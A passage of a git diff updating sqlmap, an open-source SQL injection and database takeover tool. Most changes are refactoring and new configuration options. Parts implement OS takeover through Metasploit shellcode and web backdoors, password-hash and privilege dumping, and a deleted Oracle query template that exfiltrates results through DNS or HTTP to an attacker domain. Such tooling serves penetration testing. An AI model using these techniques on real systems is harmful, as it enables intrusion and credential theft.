for item in re.findall(r"'[^']*'+", expression): - _ = item[1:-1] - if _: - retVal = retVal.replace(item, escaper(_)) + original = item[1:-1] + if original: + if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: + continue + if re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker + replacement = escaper(original) if not conf.noEscape else original + + if replacement != original: + retVal = retVal.replace(item, replacement) + elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): + retVal = retVal.replace("'%s'" % original, "n'%s'" % original) else: retVal = escaper(expression) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 426de121155..eda399e614c 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,10 +9,13 @@ from lib.core.common import Backend from lib.core.common import getSafeExString +from lib.core.common import isDigit from lib.core.common import isStackingAvailable +from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import runningAsAdmin from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS @@ -29,15 +32,13 @@ from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry -from plugins.generic.misc import Miscellaneous - -class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): +class Takeover(Abstraction, Metasploit, ICMPsh, Registry): """ This class defines generic OS takeover functionalities for plugins. """ def __init__(self): - self.cmdTblName = "sqlmapoutput" + self.cmdTblName = ("%soutput" % conf.tablePrefix) self.tblField = "data" Abstraction.__init__(self) @@ -79,7 +80,20 @@ def osShell(self): raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() - self.initEnv(web=web) + + try: + self.initEnv(web=web) + except SqlmapFilePathException: + if not web and not conf.direct: + infoMsg = "falling back to web backdoor method..." + logger.info(infoMsg) + + web = True + kb.udfFail = True + + self.initEnv(web=web) + else: + raise if not web or (web and self.webBackdoorUrl is not None): self.shell() @@ -102,13 +116,13 @@ def osPwn(self): while True: tunnel = readInput(msg, default='1') - if tunnel.isdigit() and int(tunnel) in (1, 2): + if isDigit(tunnel) and int(tunnel) in (1, 2): tunnel = int(tunnel) break else: warnMsg = "invalid value, valid values are '1' and '2'" - logger.warn(warnMsg) + logger.warning(warnMsg) else: tunnel = 1 @@ -131,14 +145,14 @@ def osPwn(self): except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " - errMsg += "http://code.google.com/p/impacket/downloads/list" + errMsg += "https://github.com/SecureAuthCorp/impacket" raise SqlmapMissingDependence(errMsg) filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(filename): try: - with open(filename, "wb") as f: + with openFile(filename, "wb") as f: f.write("1") except IOError as ex: errMsg = "there has been a file opening/writing error " @@ -168,18 +182,18 @@ def osPwn(self): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" - msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" + msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default='1') - if choice.isdigit() and int(choice) in (1, 2): + if isDigit(choice) and int(choice) in (1, 2): choice = int(choice) break else: warnMsg = "invalid value, valid values are '1' and '2'" - logger.warn(warnMsg) + logger.warning(warnMsg) if choice == 1: goUdf = True @@ -237,7 +251,7 @@ def osPwn(self): warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" - logger.warn(warnMsg) + logger.warning(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") @@ -312,7 +326,7 @@ def osSmb(self): printWarn = False if printWarn: - logger.warn(warnMsg) + logger.warning(warnMsg) self.smb() diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 7779a083b78..ccd1b7747e4 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -12,16 +12,19 @@ from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import getLimitRange -from lib.core.common import getUnicode from lib.core.common import isAdminFromPrivileges +from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue +from lib.core.common import isNullValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parsePasswordHash from lib.core.common import readInput from lib.core.common import unArrayizeValue -from lib.core.convert import hexencode +from lib.core.compat import xrange +from lib.core.convert import encodeHex +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -34,16 +37,20 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED +from lib.core.enums import FORK from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import CURRENT_USER +from lib.core.settings import PLUS_ONE_DBMSES from lib.core.threads import getCurrentThreadData from lib.request import inject from lib.utils.hash import attackCachedUsersPasswords from lib.utils.hash import storeHashesToFile from lib.utils.pivotdumptable import pivotDumpTable +from thirdparty.six.moves import zip as _zip -class Users: +class Users(object): """ This class defines users' enumeration functionalities for plugins. """ @@ -71,16 +78,22 @@ def isDba(self, user=None): infoMsg = "testing if current user is DBA" logger.info(infoMsg) + query = None + if Backend.isDbms(DBMS.MYSQL): self.getCurrentUser() - query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None) + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + kb.data.isDba = "root" in (kb.data.currentUser or "") + elif kb.data.currentUser: + query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user else: query = queries[Backend.getIdentifiedDbms()].is_dba.query - query = agent.forgeCaseStatement(query) - kb.data.isDba = inject.checkBooleanExpression(query) or False + if query: + query = agent.forgeCaseStatement(query) + kb.data.isDba = inject.checkBooleanExpression(query) or False return kb.data.isDba @@ -92,12 +105,16 @@ def getUsers(self): condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) + condition |= (Backend.isDbms(DBMS.H2) and not isDBMSVersionAtLeast("2")) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: - if condition: + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.inband.query3 + elif condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query + values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): @@ -111,7 +128,9 @@ def getUsers(self): infoMsg = "fetching number of database users" logger.info(infoMsg) - if condition: + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.blind.count3 + elif condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count @@ -124,16 +143,19 @@ def getUsers(self): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") + elif Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.blind.query3 % index elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index + user = unArrayizeValue(inject.getValue(query, union=False, error=False)) if user: @@ -150,7 +172,7 @@ def getPasswordHashes(self): rootQuery = queries[Backend.getIdentifiedDbms()].passwords - if conf.user == "CU": + if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() @@ -191,7 +213,7 @@ def getPasswordHashes(self): retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False) if retVal: - for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): + for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: @@ -201,8 +223,10 @@ def getPasswordHashes(self): else: values = inject.getValue(query, blind=False, time=False) - if isNoneValue(values) and Backend.isDbms(DBMS.MSSQL): + if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) + elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)): + values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": @@ -236,8 +260,8 @@ def getPasswordHashes(self): retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True) if retVal: - for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): - password = "0x%s" % hexencode(password, conf.encoding).upper() + for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): + password = "0x%s" % encodeHex(password, binary=False).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] @@ -254,7 +278,7 @@ def getPasswordHashes(self): if user in retrievedUsers: continue - if Backend.isDbms(DBMS.INFORMIX): + if Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): count = 1 else: infoMsg = "fetching number of password hashes " @@ -268,14 +292,18 @@ def getPasswordHashes(self): count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - if not isNumPosStrValue(count) and Backend.isDbms(DBMS.MSSQL): - fallback = True - count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if not isNumPosStrValue(count): + if Backend.isDbms(DBMS.MSSQL): + fallback = True + count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + elif Backend.isDbms(DBMS.MYSQL): + fallback = True + count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user @@ -283,7 +311,7 @@ def getPasswordHashes(self): passwords = [] - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -296,7 +324,7 @@ def getPasswordHashes(self): if fallback: query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr") - elif Backend.isDbms(DBMS.INFORMIX): + elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): query = rootQuery.blind.query % (user,) elif Backend.isDbms(DBMS.HSQLDB): @@ -305,6 +333,10 @@ def getPasswordHashes(self): else: query = rootQuery.blind.query % (user, index) + if Backend.isDbms(DBMS.MYSQL): + if fallback: + query = query.replace("authentication_string", "password") + password = unArrayizeValue(inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) @@ -315,15 +347,13 @@ def getPasswordHashes(self): else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " - errMsg += "database users (probably because the DBMS " - errMsg += "current user has no read privileges over the relevant " - errMsg += "system database table(s))" + errMsg += "database users" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: @@ -349,7 +379,7 @@ def getPrivileges(self, query2=False): rootQuery = queries[Backend.getIdentifiedDbms()].privileges - if conf.user == "CU": + if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() @@ -397,7 +427,7 @@ def getPrivileges(self, query2=False): values = inject.getValue(query, blind=False, time=False) if not values and Backend.isDbms(DBMS.ORACLE) and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" + infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) @@ -422,18 +452,18 @@ def getPrivileges(self, query2=False): # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): - if int(privilege) == 1: + if int(privilege) == 1 and count in PGSQL_PRIVS: privileges.add(PGSQL_PRIVS[count]) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - if privilege.upper() == "Y": + if privilege.upper() == 'Y': privileges.add(MYSQL_PRIVS[count]) # In Firebird we get one letter for each privilege @@ -452,7 +482,7 @@ def getPrivileges(self, query2=False): i = 1 for priv in privs: - if priv.upper() in ("Y", "G"): + if priv.upper() in ('Y', 'G'): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv @@ -512,14 +542,14 @@ def getPrivileges(self, query2=False): if not isNumPosStrValue(count): if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" + infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "privileges for user '%s'" % outuser - logger.warn(warnMsg) + logger.warning(warnMsg) continue infoMsg = "fetching privileges for user '%s'" % outuser @@ -527,7 +557,7 @@ def getPrivileges(self, query2=False): privileges = set() - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -557,16 +587,14 @@ def getPrivileges(self, query2=False): i = 1 for priv in privs: - if priv.isdigit() and int(priv) == 1: - for position, pgsqlPriv in PGSQL_PRIVS.items(): - if position == i: - privileges.add(pgsqlPriv) + if priv.isdigit() and int(priv) == 1 and i in PGSQL_PRIVS: + privileges.add(PGSQL_PRIVS[i]) i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is @@ -586,11 +614,13 @@ def getPrivileges(self, query2=False): # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): - privileges.add(FIREBIRD_PRIVS[privilege.strip()]) + if privilege.strip() in FIREBIRD_PRIVS: + privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In Informix we get one letter for the highest privilege elif Backend.isDbms(DBMS.INFORMIX): - privileges.add(INFORMIX_PRIVS[privilege.strip()]) + if privilege.strip() in INFORMIX_PRIVS: + privileges.add(INFORMIX_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise @@ -622,7 +652,7 @@ def getPrivileges(self, query2=False): else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % outuser - logger.warn(warnMsg) + logger.warning(warnMsg) retrievedUsers.add(user) @@ -640,6 +670,6 @@ def getPrivileges(self, query2=False): def getRoles(self, query2=False): warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() warnMsg += "exist. sqlmap will enumerate privileges instead" - logger.warn(warnMsg) + logger.warning(warnMsg) return self.getPrivileges(query2) diff --git a/procs/oracle/dns_request.sql b/procs/oracle/dns_request.sql deleted file mode 100644 index adb71cfb2fb..00000000000 --- a/procs/oracle/dns_request.sql +++ /dev/null @@ -1,2 +0,0 @@ -SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL -# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL diff --git a/shell/backdoors/backdoor.asp_ b/shell/backdoors/backdoor.asp_ deleted file mode 100644 index 9f9a20586cb..00000000000 Binary files a/shell/backdoors/backdoor.asp_ and /dev/null differ diff --git a/shell/backdoors/backdoor.aspx_ b/shell/backdoors/backdoor.aspx_ deleted file mode 100644 index af7f6d58466..00000000000 Binary files a/shell/backdoors/backdoor.aspx_ and /dev/null differ diff --git a/shell/backdoors/backdoor.jsp_ b/shell/backdoors/backdoor.jsp_ deleted file mode 100644 index d482c48cc43..00000000000 Binary files a/shell/backdoors/backdoor.jsp_ and /dev/null differ diff --git a/shell/backdoors/backdoor.php_ b/shell/backdoors/backdoor.php_ deleted file mode 100644 index 172dd5f221f..00000000000 Binary files a/shell/backdoors/backdoor.php_ and /dev/null differ diff --git a/shell/stagers/stager.asp_ b/shell/stagers/stager.asp_ deleted file mode 100644 index 7918d6ac7aa..00000000000 Binary files a/shell/stagers/stager.asp_ and /dev/null differ diff --git a/shell/stagers/stager.aspx_ b/shell/stagers/stager.aspx_ deleted file mode 100644 index 3a5a9b14e8b..00000000000 Binary files a/shell/stagers/stager.aspx_ and /dev/null differ diff --git a/shell/stagers/stager.jsp_ b/shell/stagers/stager.jsp_ deleted file mode 100644 index ccda376ed00..00000000000 Binary files a/shell/stagers/stager.jsp_ and /dev/null differ diff --git a/shell/stagers/stager.php_ b/shell/stagers/stager.php_ deleted file mode 100644 index 54c8930a26d..00000000000 Binary files a/shell/stagers/stager.php_ and /dev/null differ diff --git a/sqlmap.conf b/sqlmap.conf index 88bcd002c9d..9d0ca92db03 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -2,16 +2,16 @@ # get target URLs from. [Target] +# Target URL. +# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +url = + # Direct connection to the database. # Examples: # mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME # oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID direct = -# Target URL. -# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -url = - # Parse targets from Burp or WebScarab logs # Valid: Burp proxy (http://portswigger.net/suite/) requests log file path # or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) @@ -27,15 +27,11 @@ requestFile = # Rather than providing a target URL, let Google return target # hosts as result of your Google dork expression. For a list of Google -# dorks see Johnny Long Google Hacking Database at -# http://johnny.ihackstuff.com/ghdb.php. +# dorks see Google Hacking Database at +# https://www.exploit-db.com/google-hacking-database # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = -# Parse target(s) from remote sitemap(.xml) file. -# Example: http://192.168.1.121/sitemap.xml -sitemapUrl = - # These options can be used to specify how to connect to the target URL. [Request] @@ -55,6 +51,9 @@ cookie = # Character used for splitting cookie values (e.g. ;). cookieDel = +# Live cookies file used for loading up-to-date values. +liveCookies = + # File containing cookies in Netscape/wget format. loadCookies = @@ -62,11 +61,23 @@ loadCookies = # Valid: True or False dropSetCookie = False +# Use HTTP version 1.0 (old). +# Valid: True or False +http10 = False + +# Use HTTP version 2 (experimental). +# Valid: True or False +http2 = False + # HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value # at each HTTP request. # sqlmap will also test for SQL injection on the HTTP User-Agent value. agent = +# Imitate smartphone through HTTP User-Agent header. +# Valid: True or False +mobile = False + # Use randomly selected HTTP User-Agent header value. # Valid: True or False randomAgent = False @@ -84,12 +95,12 @@ headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 # HTTP Authentication type. Useful only if the target URL requires -# HTTP Basic, Digest or NTLM authentication and you have such data. -# Valid: Basic, Digest, NTLM or PKI +# HTTP Basic, Digest, Bearer or NTLM authentication and you have such data. +# Valid: Basic, Digest, Bearer, NTLM or PKI authType = # HTTP authentication credentials. Useful only if the target URL requires -# HTTP Basic, Digest or NTLM authentication and you have such data. +# HTTP Basic, Digest, Token or NTLM authentication and you have such data. # Syntax: username:password authCred = @@ -98,8 +109,12 @@ authCred = # Syntax: key_file authFile = +# Abort on (problematic) HTTP error code (e.g. 401). +# Valid: string +abortCode = + # Ignore (problematic) HTTP error code (e.g. 401). -# Valid: integer +# Valid: string ignoreCode = # Ignore system default proxy settings. @@ -157,6 +172,9 @@ timeout = 30 # Default: 3 retries = 3 +# Retry request on regexp matching content. +retryOn = + # Randomly change value for the given parameter. rParam = @@ -171,25 +189,38 @@ safePost = # Load safe HTTP request from a file. safeReqFile = -# Test requests between two visits to a given safe URL (default 0). +# Regular requests between visits to a safe URL (default 0). # Valid: integer # Default: 0 safeFreq = 0 -# Skip URL encoding of payload data +# Skip URL encoding of payload data. # Valid: True or False skipUrlEncode = False -# Parameter used to hold anti-CSRF token +# Parameter used to hold anti-CSRF token. csrfToken = # URL address to visit to extract anti-CSRF token csrfUrl = +# HTTP method to use during anti-CSRF token page visit. +csrfMethod = + +# POST data to send during anti-CSRF token page visit. +csrfData = + +# Retries for anti-CSRF token retrieval. +csrfRetries = + # Force usage of SSL/HTTPS # Valid: True or False forceSSL = False +# Use HTTP chunked transfer encoded requests. +# Valid: True or False +chunked = False + # Use HTTP parameter pollution. # Valid: True or False hpp = False @@ -241,6 +272,9 @@ skipStatic = False # Regexp to exclude parameters from testing (e.g. "ses"). paramExclude = +# Select testable parameter(s) by place (e.g. "POST"). +paramFilter = + # Force back-end DBMS to provided value. If this option is set, the back-end # DBMS identification process will be minimized as needed. # If not set, sqlmap will detect back-end DBMS automatically by default. @@ -336,6 +370,10 @@ regexp = # code) # code = +# Conduct thorough tests only if positive heuristic(s). +# Valid: True or False +smart = False + # Compare pages based only on the textual content. # Valid: True or False textOnly = False @@ -360,13 +398,17 @@ titles = False # Example: ES (means test for error-based and stacked queries SQL # injection types only) # Default: BEUSTQ (means test for all SQL injection types - recommended) -tech = BEUSTQ +technique = BEUSTQ # Seconds to delay the response from the DBMS. # Valid: integer # Default: 5 timeSec = 5 +# Disable the statistical model for detecting the delay. +# Valid: True or False +disableStats = False + # Range of columns to test for. # Valid: range of integers # Example: 1-10 @@ -382,6 +424,11 @@ uChar = # Example: INFORMATION_SCHEMA.COLLATIONS uFrom = +# Column values to use for UNION query SQL injection. +# Valid: string +# Example: NULL,1,*,NULL +uValues = + # Domain name used for DNS exfiltration attack. # Valid: string dnsDomain = @@ -489,6 +536,10 @@ search = False # Valid: True or False getComments = False +# Retrieve SQL statements being run on database management system. +# Valid: True or False +getStatements = False + # Back-end database management system database to enumerate. db = @@ -540,7 +591,7 @@ lastChar = 0 # SQL statement to be executed. # Example: SELECT 'foo', 'bar' -query = +sqlQuery = # Prompt for an interactive SQL shell. # Valid: True or False @@ -561,6 +612,10 @@ commonTables = False # Valid: True or False commonColumns = False +# Check existence of common files. +# Valid: True or False +commonFiles = False + # These options can be used to create custom user-defined functions. [User-defined function] @@ -668,6 +723,19 @@ sessionFile = # Log all HTTP traffic into a textual file. trafficFile = +# Abort data retrieval on empty results. +abortOnEmpty = False + +# Set predefined answers (e.g. "quit=N,follow=N"). +answers = + +# Parameter(s) containing Base64 encoded data +base64Parameter = + +# Use URL and filename safe Base64 alphabet (Reference: https://en.wikipedia.org/wiki/Base64#URL_applications). +# Valid: True or False +base64Safe = False + # Never ask for user input, use the default behaviour. # Valid: True or False batch = False @@ -678,6 +746,10 @@ binaryFields = # Check Internet connection before assessing the target. checkInternet = False +# Clean up the DBMS from sqlmap specific UDF and tables. +# Valid: True or False +cleanup = False + # Crawl the website starting from the target URL. # Valid: integer # Default: 0 @@ -690,6 +762,9 @@ crawlExclude = # Default: , csvDel = , +# Store dumped data to a custom file. +dumpFile = + # Format of dumped data # Valid: CSV, HTML or SQLITE dumpFormat = CSV @@ -714,6 +789,11 @@ forms = False # Valid: True or False freshQueries = False +# Use Google dork results from specified page number. +# Valid: integer +# Default: 1 +googlePage = 1 + # Use hex conversion during data retrieval. # Valid: True or False hexConvert = False @@ -725,20 +805,47 @@ outputDir = # Valid: True or False parseErrors = False +# Use given script(s) for preprocessing of request. +preprocess = + +# Use given script(s) for postprocessing of response data. +postprocess = + +# Redump entries having unknown character marker (?). +# Valid: True or False +repair = False + # Regular expression for filtering targets from provided Burp. # or WebScarab proxy log. # Example: (google|yahoo) scope = -# Select tests by payloads and/or titles (e.g. ROW) +# Skip heuristic detection of SQLi/XSS vulnerabilities. +# Valid: True or False +skipHeuristics = False + +# Skip heuristic detection of WAF/IPS protection. +# Valid: True or False +skipWaf = False + +# Prefix used for temporary tables. +# Default: sqlmap +tablePrefix = sqlmap + +# Select tests by payloads and/or titles (e.g. ROW). testFilter = -# Skip tests by payloads and/or titles (e.g. BENCHMARK) +# Skip tests by payloads and/or titles (e.g. BENCHMARK). testSkip = -# Update sqlmap. -# Valid: True or False -updateAll = False +# Run with a time limit in seconds (e.g. 3600). +timeLimit = + +# Disable escaping of DBMS identifiers (e.g. "user"). +unsafeNaming = False + +# Web server document root directory (e.g. "/var/www"). +webRoot = [Miscellaneous] @@ -746,9 +853,6 @@ updateAll = False # Run host OS command(s) when SQL injection is found. alert = -# Set predefined answers (e.g. "quit=N,follow=N"). -answers = - # Beep on question and/or when SQL injection is found. # Valid: True or False beep = False @@ -757,10 +861,6 @@ beep = False # Valid: True or False checkPayload = False -# Clean up the DBMS from sqlmap specific UDF and tables. -# Valid: True or False -cleanup = False - # Check for missing (optional) sqlmap dependencies. # Valid: True or False dependencies = False @@ -769,40 +869,39 @@ dependencies = False # Valid: True or False disableColoring = False -# Use Google dork results from specified page number. -# Valid: integer -# Default: 1 -googlePage = 1 - -# Make a thorough testing for a WAF/IPS protection. +# Disable hash analysis on table dumps. # Valid: True or False -identifyWaf = False +disableHashing = False -# Display list of available tamper scripts +# Display list of available tamper scripts. # Valid: True or False listTampers = False -# Imitate smartphone through HTTP User-Agent header. +# Disable logging to a file. # Valid: True or False -mobile = False +noLogging = False -# Work in offline mode (only use session data) +# Disable console output truncation. # Valid: True or False -offline = False +noTruncate = False -# Skip heuristic detection of WAF/IPS protection. +# Work in offline mode (only use session data) # Valid: True or False -skipWaf = False +offline = False -# Conduct thorough tests only if positive heuristic(s). -# Valid: True or False -smart = False +# Location of CSV results file in multiple targets mode. +resultsFile = # Local directory for storing temporary files. tmpDir = -# Web server document root directory (e.g. "/var/www"). -webRoot = +# Adjust options for unstable connections. +# Valid: True or False +unstable = False + +# Update sqlmap. +# Valid: True or False +updateAll = False # Simple wizard interface for beginner users. # Valid: True or False diff --git a/sqlmap.py b/sqlmap.py index ce56b852719..5e93ef2c83d 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -15,10 +15,9 @@ try: __import__("lib.utils.versioncheck") # this has to be the first non-standard import except ImportError: - exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details") + sys.exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details") import bdb - import distutils import glob import inspect import json @@ -27,47 +26,70 @@ import re import shutil import sys - import thread + import tempfile import threading import time import traceback import warnings + if "--deprecations" not in 